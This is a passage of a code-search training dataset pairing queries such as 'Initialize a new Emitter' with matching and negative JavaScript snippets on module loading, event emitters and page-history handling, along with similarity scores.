nothing\n for (var i = 1, length = arguments.length; i < length; i++) {\n this[arguments[i]] = mod[arguments[i]];\n }\n return;\n }\n }", "function makeRequireFunction(mod) {\n\t const Module = mod.constructor;\n\n\t function require(path) {\n\t return mod.require(path);\n\t }\n\t function resolve(request, options) {\n\t validateString(request, 'request');\n\t return Module._resolveFilename(request, mod, false, options);\n\t }\n\n\t require.resolve = resolve;\n\n\t function paths(request) {\n\t validateString(request, 'request');\n\t return Module._resolveLookupPaths(request, mod);\n\t }\n\n\t resolve.paths = paths;\n\n\t require.main = process.mainModule;\n\n\t // Enable support to add extra extension types.\n\t require.extensions = Module._extensions;\n\n\t require.cache = Module._cache;\n\n\t return require;\n\t }", "relative(entry = this.cwd) {\n if (typeof entry === 'string') {\n entry = this.cwd.resolve(entry);\n }\n return entry.relative();\n }", "function require_blether() {\n var lib = path.join(path.dirname(fs.realpathSync(__filename)), \"../dist\");\n\n try {\n return require(lib + \"/blether.min.js\");\n }\n catch (e) {\n try {\n return require(lib + \"/blether.js\");\n }\n catch (e2) {\n console.error(\"Failed to find blether.min.js or blether.js under \" + lib);\n process.exit(2);\n }\n }\n}", "function getRequired(name) {\n if (APP_REQUIRES.modules)\n for(var m in APP_REQUIRES.modules)\n if(APP_REQUIRES.modules[m].name && APP_REQUIRES.modules[m].name === name)\n return APP_REQUIRES.modules[m];\n return APP_REQUIRES.scripts && APP_REQUIRES.scripts[name];\n }", "function getRequired(name) {\n if (APP_REQUIRES.modules)\n for (var m in APP_REQUIRES.modules)\n if (APP_REQUIRES.modules[m].name && APP_REQUIRES.modules[m].name === name)\n return APP_REQUIRES.modules[m];\n return APP_REQUIRES.scripts && APP_REQUIRES.scripts[name];\n }", "function requireStandard (cwd) {\n try {\n return require(resolve.sync('standard', { basedir: cwd }))\n } catch {\n return require('standard')\n }\n}", "function getRequired(name) {\n if (APP_REQUIRES.modules)\n for(var m in APP_REQUIRES.modules)\n if(APP_REQUIRES.modules[m].name && APP_REQUIRES.modules[m].name === name)\n return APP_REQUIRES.modules[m];\n return APP_REQUIRES.scripts && APP_REQUIRES.scripts[name];\n }", "static _getSpaceRoot(){\n return process.cwd(); //path.dirname(module.parent.paths[0])\n }", "resolve(modulePath) {\n let filePath\n let moduleFilePath = modulePath\n\n if (['/', '.'].indexOf(modulePath.substr(0, 1)) >= 0) {\n // ./src/test => /path/to/src/test\n moduleFilePath = path.resolve(path.dirname(this.currentModulePath), modulePath)\n }\n if (typeof this.modules[moduleFilePath] !== 'undefined') {\n return moduleFilePath\n }\n if (fs.existsSync(moduleFilePath)) {\n if (fs.lstatSync(moduleFilePath).isFile()) {\n return moduleFilePath\n }\n // /path/to/src/test => /path/to/src/test/index\n filePath = path.join(moduleFilePath, 'index')\n }\n\n const ext = this.options.resolve.extensions.find((ext) => {\n filePath = `${moduleFilePath}${ext}`\n if (typeof this.modules[filePath] !== 'undefined') {\n return true\n }\n return fs.existsSync(filePath) && fs.lstatSync(filePath).isFile()\n })\n\n if (typeof ext !== 'undefined') {\n return `${moduleFilePath}${ext}`\n }\n return null\n }", "function makeRequire(dom, pathName) {\n return function(reqStr) {\n var o, scannable, k, skipFolder;\n\n if (config.logging >= 4) {\n console.debug('modul8: '+dom+':'+pathName+\" <- \"+reqStr);\n }\n\n if (reqStr.slice(0, 2) === './') {\n scannable = [dom];\n reqStr = toAbsPath(pathName, reqStr.slice(2));\n }\n else if (reqStr.slice(0,3) === '../') {\n scannable = [dom];\n reqStr = toAbsPath(pathName, reqStr);\n }\n else if (DomReg.test(reqStr)) {\n scannable = [reqStr.match(DomReg)[1]];\n reqStr = reqStr.split('::')[1];\n }\n else if (arbiters.indexOf(reqStr) >= 0) {\n scannable = ['M8'];\n }\n else {\n scannable = [dom].concat(domains.filter(function(e) {return e !== dom;}));\n }\n\n reqStr = reqStr.split('.')[0];\n if (reqStr.slice(-1) === '/' || reqStr === '') {\n reqStr += 'index';\n skipFolder = true;\n }\n\n if (config.logging >= 3) {\n console.log('modul8: '+dom+':'+pathName+' <- '+reqStr);\n }\n if (config.logging >= 4) {\n console.debug('modul8: scanned '+JSON.stringify(scannable));\n }\n\n for (k = 0; k < scannable.length; k += 1) {\n o = scannable[k];\n if (exports[o][reqStr]) {\n return exports[o][reqStr];\n }\n if (!skipFolder && exports[o][reqStr + '/index']) {\n return exports[o][reqStr + '/index'];\n }\n }\n\n if (config.logging >= 1) {\n console.error(\"modul8: Unable to resolve require for: \" + reqStr);\n }\n };\n}", "processRelativeUrl(relativePath){\n //console.log(relativePath);\n const rootDir = path.resolve(process.cwd(), \"public\"); //current working directory + /public\n //console.log([rootDir, relativePath]);\n const prefix = path.join(\"..\", \"node_modules\");\n \n if(!_.startsWith(relativePath, prefix))\n return relativePath;\n \n const vendorUrl = \"/vendor/\" + relativePath.substring(prefix.length);\n const sourceFile = path.join(rootDir, relativePath);\n const destFile = path.join(rootDir, vendorUrl);\n \n //console.log(`${sourceFile} -> ${destFile}`);\n fse.copySync(sourceFile, destFile); \n \n return vendorUrl;\n }", "abs (relativePath) {\n return nodePath.resolve(relativePath);\n }", "function requireFile(file) {\n let nameWithoutExtension = file.substr(0, file.lastIndexOf('.'));\n\n return new Promise(function (resolve) {\n let model = require('../models/' + nameWithoutExtension);\n models[nameWithoutExtension] = model;\n fs.stat(process.cwd() + '/endpoints/' + file, function (error) {\n if (error) {\n return resolve();\n }\n let endpoint = require('../endpoints/' + nameWithoutExtension);\n endpoints[nameWithoutExtension] = endpoint;\n resolve();\n });\n });\n}", "function getModulePathBasedOnParentModule(module) {\n const modulePath = module.indexOf('/') >= 0 || module.indexOf(path.sep) >= 0 ? path.join(path.dirname(getStack()[3].getFileName()), module) : module;\n return require.resolve(modulePath);\n}", "function RelativeInjectorLocation() {}", "function RelativeInjectorLocation() {}", "function RelativeInjectorLocation() {}", "function getRequired(name) {\n if (appRequires.modules)\n for (var m in appRequires.modules)\n if (appRequires.modules[m].name && appRequires.modules[m].name === name)\n return appRequires.modules[m];\n return appRequires.scripts && appRequires.scripts[name];\n }", "get relativePathName()\n\t{\n\t\treturn true;\n\t}", "function wrapRequire() {\n const originalRequire = Module.prototype.require;\n Module.prototype.require = function (moduleName) {\n // Inject workspace node_modules directory\n this.paths.unshift(workspaceModulesDir);\n\n const moduleInfo = getModuleInfo(moduleName);\n\n try {\n return originalRequire.apply(this, [moduleName]);\n } catch (err) {\n if (!moduleInfo.isThirdPartyModule) throw err;\n\n installModule(moduleInfo.path);\n return originalRequire.apply(this, [\n path.join(workspacePath, 'node_modules', moduleName),\n ]);\n }\n };\n}", "function requireHeader(path) { requireHeaderWrapper(require(path)); }", "rel (relativePath) {\n return nodePath.normalize(relativePath);\n }", "function getLoaderPath(fileName){\n var exists = glob.sync( normalize(packagesPath, fileName + '@*.js') );\n if(exists && exists.length != 0){\n return normalize(packagesPath, fileName + '@*.js');\n } else {\n return normalize(packagesPath, fileName + '.js');\n }\n }", "function getRequired(name) {\n if (appRequires.modules)\n for(var m in appRequires.modules)\n if(appRequires.modules[m].name && appRequires.modules[m].name === name)\n return appRequires.modules[m];\n return appRequires.scripts && appRequires.scripts[name];\n }", "function getRequired(name) {\n if (appRequires.modules)\n for(var m in appRequires.modules)\n if(appRequires.modules[m].name && appRequires.modules[m].name === name)\n return appRequires.modules[m];\n return appRequires.scripts && appRequires.scripts[name];\n }", "function getRequired(name) {\n if (appRequires.modules)\n for(var m in appRequires.modules)\n if(appRequires.modules[m].name && appRequires.modules[m].name === name)\n return appRequires.modules[m];\n return appRequires.scripts && appRequires.scripts[name];\n }", "function RelativeInjectorLocation() { }", "function RelativeInjectorLocation() { }", "function resolveToSrc() {\n return path.join(rootDir, 'src');\n}", "function dynamicRequire(mod, request) {\n return mod.require(request);\n}", "function o(t,e,n){return n={path:e,exports:{},require:function(t,e){return s(t,void 0===e||null===e?n.path:e)}},t(n,n.exports),n.exports}", "function foo(name) {\n one.name = 'Boogs'\n let two = require('./lib/one')\n console.log(two.name)\n}", "function requireval(path) {\n const res = resolve.sync(path, { basedir: __dirname });\n const filesrc = fs.readFileSync(res, 'utf8');\n // eslint-disable-next-line no-eval\n eval(filesrc + '\\n\\n//# sourceURL=' + path);\n}", "function __krequire(path) {\n return eval('(()=>{var exports={};' + fs.readFileSync(___data + path, 'utf8').toString() + ';return exports})()');\n }" ]
[ "0.7195119", "0.7027229", "0.67329705", "0.6596608", "0.6578267", "0.639194", "0.6365622", "0.6191603", "0.61434335", "0.6125508", "0.612298", "0.60718775", "0.60600346", "0.60242426", "0.5872591", "0.5857044", "0.5844444", "0.5835678", "0.5775341", "0.57568234", "0.57419336", "0.5673093", "0.5673093", "0.5673093", "0.5673093", "0.5665955", "0.56634873", "0.56392914", "0.5628958", "0.56275946", "0.5589864", "0.5584356", "0.5542019", "0.5530999", "0.55181164", "0.55112374", "0.5498268", "0.54886824", "0.54884773", "0.5487449", "0.5481238", "0.545836", "0.5456819", "0.5433085", "0.5431847", "0.5425696", "0.53961927", "0.53779423", "0.53779423", "0.53779423", "0.53748673", "0.5374818", "0.5372809", "0.5369086", "0.53413916", "0.5340901", "0.53383106", "0.53383106", "0.53383106", "0.53275377", "0.53275377", "0.5314999", "0.53110796", "0.5292132", "0.52795213", "0.52653193", "0.5264693" ]
0.6648988
29
Initialize a new `Emitter`.
function Emitter(obj) { if (obj) return mixin(obj); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function Emitter() {\n this.events = {};\n}", "constructor() {\n this.eventEmitter = new Emitter();\n }", "function Emitter() {\n\t\tthis.listeners = {};\n\t\tthis.singleListener = {};\n\t}", "function Emitter() {\r\n this.events = {};\r\n}", "function Emitter() {\r\n\t\tthis.callbacks = {};\r\n\t}", "function Emitter() {\n\n this.events = {};\n\n\n}", "function Emitter() {\n this.callbacks = {};\n}", "function Emitter() {\n this.callbacks = {};\n}", "function Emitter() {\n this.callbacks = {};\n}", "function Emitter() {\n this.callbacks = {};\n}", "function Emitter() {\n this.listeners = {};\n}", "function Emitter() {\n\t\tthis._listeners = {};\n\t}", "function Emitter() {\n//in this object there will be one property\n this.events = {};\n}", "function Emitter () {}", "function Emitter() {\n this._subscriptions = [];\n}", "function Emitter() {\n }", "constructor () {\n this.nodeEmitter = new EventEmitter();\n }", "initEmittable() {\n /**\n * Event emitter\n * @property emitter\n */\n this.emitter = eventemitter.create({\n wildcard: true,\n });\n }", "function Emitter(){\n emitters.set(this, {});\n receivers.set(this, this);\n }", "function Emitter(){\nthis.event = {};\n}", "bindEmitter() {\n Emitter(this);\n }", "function MyEmitter() {\n events.EventEmitter.apply(this);\n\n this.emitSomething = function() {\n emitter.emit('some_event', 'any data', 'that goes along with it');\n };\n}", "newEmitter(emitter) {\n this.useMiddleware();\n return super.newEmitter(emitter);\n }", "function EventEmitter() {\n\t\t this._events = new Events();\n\t\t this._eventsCount = 0;\n\t\t}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n }", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n }", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n }", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n }", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n }", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n }", "function Emitter() {\n this.handlersByEventName = {};\n }", "function EventEmitter() {\n\t this._events = new Events();\n\t this._eventsCount = 0;\n\t }", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n }", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n }", "function EventEmitter() {\n\t this._events = new Events();\n\t this._eventsCount = 0;\n\t}", "function EventEmitter() {\n\t this._events = new Events();\n\t this._eventsCount = 0;\n\t}", "function EventEmitter() {\n\t this._events = new Events();\n\t this._eventsCount = 0;\n\t}", "function EventEmitter() {\n\t this._events = new Events();\n\t this._eventsCount = 0;\n\t}", "function EventEmitter() {\n\t this._events = new Events();\n\t this._eventsCount = 0;\n\t}", "function EventEmitter() {\n\t this._events = new Events();\n\t this._eventsCount = 0;\n\t}", "constructor(){\n super();//Se llama al constructor de la clase EventEmitter\n this.greeting = 'Hello world!';\n }", "function AsyncEmitter() {\n if (!(this instanceof AsyncEmitter))\n return new AsyncEmitter();\n\n this._events = Object.create(null);\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n }", "function EventEmitter() {\n \t this._events = new Events();\n \t this._eventsCount = 0;\n \t}", "function EventEmitter(){this._events=new Events();this._eventsCount=0;}", "function EventEmitter(){this._events=new Events();this._eventsCount=0;}", "function EventEmitter() {\n _classCallCheck(this, EventEmitter);\n\n this.registry_ = {};\n }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter() { /* Nothing to set */ }", "function EventEmitter(){}", "function EventEmitter(){}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}", "function EventEmitter() {\n this._events = new Events();\n this._eventsCount = 0;\n}" ]
[ "0.7572237", "0.7560711", "0.75456107", "0.7515383", "0.745719", "0.7446852", "0.7429735", "0.7429735", "0.7429735", "0.7429735", "0.7406173", "0.73883736", "0.7188515", "0.71046644", "0.70976514", "0.70931417", "0.7062535", "0.7042429", "0.6999456", "0.6967028", "0.68399566", "0.6804396", "0.67511964", "0.67184085", "0.66618425", "0.66618425", "0.6650047", "0.6650047", "0.6650047", "0.6650047", "0.66370994", "0.66171974", "0.658438", "0.6580464", "0.65530384", "0.65530384", "0.65530384", "0.65530384", "0.65530384", "0.65530384", "0.6526202", "0.65099365", "0.6502124", "0.6470383", "0.64605683", "0.64605683", "0.64036924", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.6400211", "0.63861674", "0.63861674", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052", "0.6378052" ]
0.0
-1
Jump to a new section and clear the history list.
function ShowBlockReset(statusThing, objectName) { // Clear the history list. statusThing.ClearHistory(); // Display the new block. ShowBlock(statusThing, objectName); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function jumpToHistory(){\n $(\"#end\").hide();\n $(\"#header\").hide();\n $(\"#history\").show();\n }", "function JumpToTerm(sectionId, hash, searchTerms) {\n\t// KC: as of 7/8/2008, they just want to go to top of specified page\n\tLoadSection(sectionId);\n}", "function clear() {\n location.replace(\"#!\");\n }", "function clearChangeHistory() {\n changeHistory = [];\n historyPosition = 0;\n }", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function clear() {\n location.replace(\"#!\");\n}", "function jumpto(sectionName){\n //window.location.hash = sectionName;\n document.getElementById(sectionName).scrollIntoView({behavior: 'smooth'});\n\n $('#dropdown').removeClass('show-dropdown');\n $('#dropdown').addClass('hide-dropdown');\n}", "function hashchange(){\n\t\tgoTo(location.hash, false);\n\t}", "function push_history() {\n\tedit_history_index++;\n\tsave_history();\n\tedit_history.length = edit_history_index+1;\n}", "reset() {\r\n this.currentState = this.config.initial;\r\n this.history.push(this.currentState);\r\n }", "function initResetJumpTo()\n {\n if ( $.urlParam('reset') == 1 && document.location.hash != '#reset') {\n document.location.hash = '#reset';\n $('html, body').animate({\n scrollTop: $(\"#contentBottom\").offset().top\n }, 2000);\n }\n }", "static reset () {\n this.history = [];\n this.position = 0;\n }", "function onPopAndStart(){\n var l = location.href;\n //http://localhost/.../hash\n var pageName = l.substring(l.lastIndexOf(\"/\")+1);\n // if no pageName set pageName to false\n pageName = pageName || false;\n switchToSection(pageName);\n }", "clear() {\n this.sections = [];\n }", "discard() {\n this.force = true;\n this.state = this.section();\n window.history.go(-this.discardSteps);\n }", "remove() {\r\n this.page.sections = this.page.sections.filter(section => section._memId !== this._memId);\r\n reindex(this.page.sections);\r\n }", "async function tracking_section_title_history(page_data, options) {\n\toptions = wiki.append_session_to_options({\n\t\ton_page_title: page_data.title,\n\t\ttry_to_expand_templates: true,\n\t\tignore_variable_anchors: true,\n\t\t...options\n\t});\n\t//section_title_history[section_title]={appear:{revid:0},disappear:{revid:0},rename_to:''}\n\tconst section_title_history = options.section_title_history || {\n\t\t// 所有頁面必然皆有的 default anchors [[w:en:Help:Link#Table row linking]]\n\t\ttop: { is_present: true },\n\t\ttoc: { is_present: true },\n\t\t[KEY_lower_cased_section_titles]: Object.create(null),\n\t};\n\n\tasync function set_recent_section_title(wikitext, revision) {\n\t\t//console.trace(options);\n\t\tconst anchor_list = await CeL.wiki.parse.anchor(wikitext, options);\n\t\t//console.trace([wikitext, anchor_list, options]);\n\t\tawait mark_language_variants(anchor_list, section_title_history, revision);\n\t\tanchor_list.forEach(section_title =>\n\t\t\tset_section_title(section_title_history, section_title, {\n\t\t\t\ttitle: section_title,\n\t\t\t\t// is present section title\n\t\t\t\tis_present: revision || true,\n\t\t\t\tappear: null,\n\t\t\t}, options)\n\t\t);\n\t\tsection_title_history[KEY_latest_page_data] = page_data;\n\t}\n\n\tif (options.set_recent_section_only) {\n\t\tpage_data = await wiki.page(page_data);\n\t\t//console.trace(page_data);\n\t\tawait set_recent_section_title(page_data.wikitext);\n\t\tif (options.print_anchors) {\n\t\t\tCeL.info(`${tracking_section_title_history.name}: reduced anchors:`);\n\t\t\tconsole.trace('lower_cased_section_titles', section_title_history[KEY_lower_cased_section_titles]);\n\t\t}\n\t\treturn section_title_history;\n\t}\n\n\t// --------------------------------\n\n\tfunction check_and_set(section_title, type, revision) {\n\t\tif (!section_title_history[section_title]) {\n\t\t\tsection_title_history[section_title] = {\n\t\t\t\ttitle: section_title,\n\t\t\t\tappear: null,\n\t\t\t};\n\t\t} else if (section_title_history[section_title][type]\n\t\t\t// appear: 首次出現, disappear: 最後一次消失\n\t\t\t&& type !== 'appear') {\n\t\t\t// 已經有比較新的資料。\n\t\t\tif (CeL.is_debug()) {\n\t\t\t\tCeL.warn(`${tracking_section_title_history.name}: ${type} of ${wiki.normalize_title(page_data)}#${section_title} is existed! ${JSON.stringify(section_title_history[section_title])\n\t\t\t\t\t}`);\n\t\t\t\tCeL.log(`Older to set ${type}: ${JSON.stringify(revision)}`);\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\t\tsection_title_history[section_title][type] = revision;\n\t}\n\n\tfunction set_rename_to(from, to) {\n\t\tif (from === to || section_title_history[from]?.is_present)\n\t\t\treturn;\n\n\t\tlet very_different;\n\t\tconst reduced_from = reduce_section_title(from), reduced_to = reduce_section_title(to);\n\t\t// only fixes similar section names (to prevent errors)\n\t\t// 當標題差異過大時,不視為相同的意涵。會當作缺失。\n\t\tif (reduced_from.length > 4 && reduced_to.includes(reduced_from) || reduced_to.length > 4 && reduced_from.includes(reduced_to)\n\t\t\t//(very_different = 2 * CeL.edit_distance(from, to)) > Math.min(from.length , to.length)\n\t\t\t|| (very_different = CeL.LCS(from, to, 'diff').reduce((length, diff) => length + diff[0].length + diff[1].length, 0)) < Math.min(from.length, to.length)\n\t\t) {\n\t\t\tvery_different = false;\n\t\t} else {\n\t\t\tvery_different += `≥${Math.min(from.length, to.length)}`;\n\t\t\tCeL.error(`${set_rename_to.name}: Too different to be regarded as the same meaning (${very_different}): ${from}→${to}`);\n\t\t}\n\n\t\tconst rename_to_chain = [from], is_directly_rename_to = section_title_history[to]?.is_present;\n\t\twhile (!section_title_history[to]?.is_present && section_title_history[to]?.rename_to) {\n\t\t\trename_to_chain.push(to);\n\t\t\tto = section_title_history[to].rename_to;\n\t\t\tif (rename_to_chain.includes(to)) {\n\t\t\t\trename_to_chain.push(to);\n\t\t\t\tCeL.warn(`${tracking_section_title_history.name}: Looped rename chain @ ${CeL.wiki.title_link_of(page_data)}: ${rename_to_chain.join('→')}`);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tif (!section_title_history[from]) {\n\t\t\tset_section_title(section_title_history, from, {\n\t\t\t\ttitle: from\n\t\t\t}, options);\n\t\t}\n\t\tObject.assign(section_title_history[from], {\n\t\t\tis_directly_rename_to, very_different,\n\t\t\t// 警告: 需要自行檢查 section_title_history[to]?.is_present\n\t\t\trename_to: to\n\t\t});\n\t}\n\n\t//if (section_title_history[KEY_got_full_revisions]) return section_title_history;\n\n\tCeL.info(`${tracking_section_title_history.name}: Traverse all revisions of ${CeL.wiki.title_link_of(page_data)}...`);\n\n\tawait wiki.tracking_revisions(page_data, async (diff, revision, old_revision) => {\n\t\t// `diff` 為從舊的版本 `old_revision` 改成 `revision` 時的差異。\n\t\tif (!section_title_history[KEY_latest_page_data]) {\n\t\t\tawait set_recent_section_title(CeL.wiki.revision_content(revision), revision);\n\t\t}\n\n\t\t//console.trace(diff);\n\t\tlet [removed_text, added_text] = diff;\n\t\t//console.trace([diff, removed_text, revision, added_text]);\n\t\t//console.trace([removed_text, revision.previous_text_is_different, added_text]);\n\n\t\tconst _options = wiki.append_session_to_options({\n\t\t\ton_page_title: page_data.title,\n\t\t\ttry_to_expand_templates: true,\n\t\t\tignore_variable_anchors: true,\n\t\t});\n\n\t\t//console.trace('using get_all_anchors()');\n\t\tconst removed_anchors = await CeL.wiki.parse.anchor(removed_text, _options);\n\t\t//console.trace(removed_anchors);\n\t\tconst added_anchors = await CeL.wiki.parse.anchor(added_text, _options);\n\t\t//console.trace(added_anchors);\n\n\t\t// \"|| ''\" 避免跳出警告\n\t\tremoved_text = CeL.wiki.parser(removed_text || '', _options).parse();\n\t\tadded_text = CeL.wiki.parser(added_text || '', _options).parse();\n\n\t\t// 當標題前後沒有空白之外的文字時,就當作是置換標題。\n\t\tconst replaced_anchors = revision.replaced_anchors || (revision.replaced_anchors = Object.create(null));\n\n\t\tlet previous_text_is_different = revision.previous_text_is_different;\n\t\tif (previous_text_is_different && diff.last_index && diff.index[1]) {\n\t\t\t// 因 !!previous_text_is_different, assert: Array.isArray(revision.last_index)\n\t\t\t//console.trace([revision.lines[last_index[1]], revision.lines[diff.index[1]], old_revision.lines[last_index[0]], old_revision.lines[diff.index[0]]]);\n\n\t\t\t// 中間這一段表示兩方相同的文字。\n\t\t\tif (revision.lines.slice(revision.last_index[1], diff.index[1][0]).join('').trim().length > 200)\n\t\t\t\tprevious_text_is_different = false;\n\t\t}\n\n\t\trevision.last_index = diff.last_index;\n\n\t\tif (!previous_text_is_different) {\n\t\t\tfor (let removed_index = 0, added_index = 0; removed_index < removed_text.length && added_index < added_text.length;) {\n\t\t\t\twhile (typeof removed_text[removed_index] === 'string' && !(previous_text_is_different = removed_text[removed_index].trim())) removed_index++;\n\t\t\t\tif (previous_text_is_different) break;\n\n\t\t\t\twhile (typeof added_text[added_index] === 'string' && !(previous_text_is_different = added_text[added_index].trim())) added_index++;\n\t\t\t\tif (previous_text_is_different) break;\n\n\t\t\t\tconst removed_token = removed_text[removed_index++], added_token = added_text[added_index++];\n\t\t\t\tif (removed_token?.type === 'section_title' && added_token?.type === 'section_title') {\n\t\t\t\t\tconst from = removed_token.link.id;\n\t\t\t\t\tconst to = added_token.link.id;\n\t\t\t\t\tconst length = Math.min(from.length, to.length);\n\t\t\t\t\tconst edit_distance_score = 2 * CeL.edit_distance(from, to) / length;\n\t\t\t\t\tif (edit_distance_score < 1)\n\t\t\t\t\t\treplaced_anchors[from] = to;\n\t\t\t\t} else {\n\t\t\t\t\t// assert: removed_token || added_token 其中一個為非標題文字。\n\t\t\t\t\tprevious_text_is_different = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\trevision.previous_text_is_different = previous_text_is_different;\n\n\t\tif (removed_anchors.length === 0 && added_anchors.length === 0)\n\t\t\treturn;\n\n\t\t// TODO: https://ja.wikipedia.org/w/index.php?diff=83223729&diffmode=source\n\t\tif (!revision.removed_section_titles) {\n\t\t\trevision.removed_section_titles = [];\n\t\t\trevision.added_section_titles = [];\n\t\t}\n\t\trevision.removed_section_titles.append(removed_anchors);\n\t\trevision.added_section_titles.append(added_anchors);\n\n\t}, {\n\t\trevision_post_processor(revision) {\n\t\t\t// save memory 刪除不需要的提醒內容,否則會在對話頁上留下太多頁面內容。\n\t\t\tdelete revision.slots;\n\t\t\tdelete revision.diff_list;\n\n\t\t\tdelete revision.last_index;\n\t\t\tdelete revision.previous_text_is_different;\n\n\t\t\t// for old MediaWiki. e.g., moegirl\n\t\t\tdelete revision.contentformat;\n\t\t\tdelete revision.contentmodel;\n\t\t\tdelete revision['*'];\n\n\t\t\tif (!revision.removed_section_titles) {\n\t\t\t\t// No new section title modified\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\trevision.removed_section_titles = revision.removed_section_titles.filter(section_title => {\n\t\t\t\t// 警告:在 line_mode,\"A \\n\"→\"A\\n\" 的情況下,\n\t\t\t\t// \"A\" 會同時出現在增加與刪除的項目中,此時必須自行檢測排除。\n\t\t\t\t// 亦可能是搬到較遠地方。\n\t\t\t\tconst index = revision.added_section_titles.indexOf(section_title);\n\t\t\t\tif (index >= 0) {\n\t\t\t\t\t// 去掉被刪除又新增的,可能只是搬移。\n\t\t\t\t\tCeL.debug('Ignore title moved inside the article: ' + section_title, 1, 'revision_post_processor');\n\t\t\t\t\trevision.added_section_titles.splice(index, 1);\n\t\t\t\t} else {\n\t\t\t\t\treturn 